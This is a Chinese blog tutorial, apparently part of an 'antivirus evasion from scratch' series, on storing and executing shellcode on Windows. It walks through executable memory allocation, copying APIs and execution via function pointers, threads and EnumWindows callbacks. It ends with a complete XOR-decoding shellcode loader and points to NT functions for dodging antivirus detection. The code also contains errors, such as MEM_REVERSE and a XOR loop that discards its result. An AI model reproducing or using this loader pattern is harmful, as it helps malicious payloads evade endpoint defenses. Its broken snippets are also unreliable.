Contents

[从零开始的免杀生活]01.ShellCode存储与执行

0x00.前言

上篇内容讲到shellcode的基础知识,这篇文章来讲解一下一些基础的申请内存已经修改保护属性的代码

0x01.内存的申请

在winapi中 R3层面上 有几种申请内存的API 例如 VirtualAlloc HeapAlloc GlobalAlloc

其中 VirtualAlloc 是真向操作系统申请一块虚拟内存,而HeapAlloc 则是向已有的堆内存区域分配一块,可能有人会说那malloc 和new 呢这些都能 申请内存。 实际上malloc函数在win上 底层调用的即为 HeapAlloc 而new则是一个运算符 实际为 malloc+构造函数 本质上在win还是 HeapAlloc

还有一些NT函数 可以逃过杀软的函数检测 例如 NtAllocateVirtualMemory NtCreateSection

VirtualAlloc

微软官方函数定义

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress, //起始地址
  [in]           SIZE_T dwSize, //分配的大小
  [in]           DWORD  flAllocationType, //申请的类型
  [in]           DWORD  flProtect  //申请的保护权限
);

C++代码实现

0
1
2
3
4
5
6
7
8
#include <iostream> 
#include <windows.h>
int main(){

LPVOID testbuffer =VirtualAlloc(NULL,0x1024,MEM_COMMIT|MEM_REVERSE,PAGE_EXECUTE_READWRITE);


return 0;
}

HeapAlloc

微软官方函数定义

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
);

我们需要搭配HeapCreate来使用

0
1
2
3
//创建一个私有可执行的堆
HANDLE heap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 10 * PAGE_SIZE, 100 * PAGE_SIZE);
// 从堆中分配一块内存给我们的shellcode
LPVOID runtime = HeapAlloc (heap, HEAP_ZERO_MEMORY, payload_len);

CreateFileMapping

官方定义

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

0x02.复制内存的api

其中包括 CopyMemory memcpy RtlMoveMemory

具体的定义这里就不一一给出

0x03.执行shellcode的方式

  1. 使用函数指针执行
  2. 使用创建线程/纤程(fiber) 的方式
  3. 使用回调函数
  4. ….

1.指针函数

int (*a)();
a = (int (*)())shellcode_addr;
a();

2.线程 和 纤程(fiber) 创建线程为CreateThread 还有个CreateRemoteThread是后话了 线程

0
1
HANDLE thread1 = CreateThread (0, 0, (LPTHREAD_START_ROUTINE) shellcode_addr, 0, 0, 0);
WaitForSingleObject (thread1, INFINITE);

3.回调函数

这就有好多了 举几个例子 EnumWindows

0
EnumWindows((WNDENUMPROC)shellcode_addr, NULL);

0x04.实现

将上面方式组合起来我们可以得到一套完整的shellcode执行流程

我们随便举一套

xor + HeapAlloc + RtlMoveMemory +回调函数 EnumWindows

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int xorNum=888;
unsigned char encShellcode[]={xxxxxxx};//这里为xor后的shellcode
int scLen=sizeof(encShellcode);
for(size_t i=0;i<scLen;i++){
	encShellcode[i]^xorNum;

}

HANDLE heap = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 10 * PAGE_SIZE, 100 * PAGE_SIZE);

LPVOID scAddr = HeapAlloc (heap, HEAP_ZERO_MEMORY, scLen);

RtlMoveMemory (scAddr, encShellcode, scLen);

EnumWindows((WNDENUMPROC)scAddr, NULL);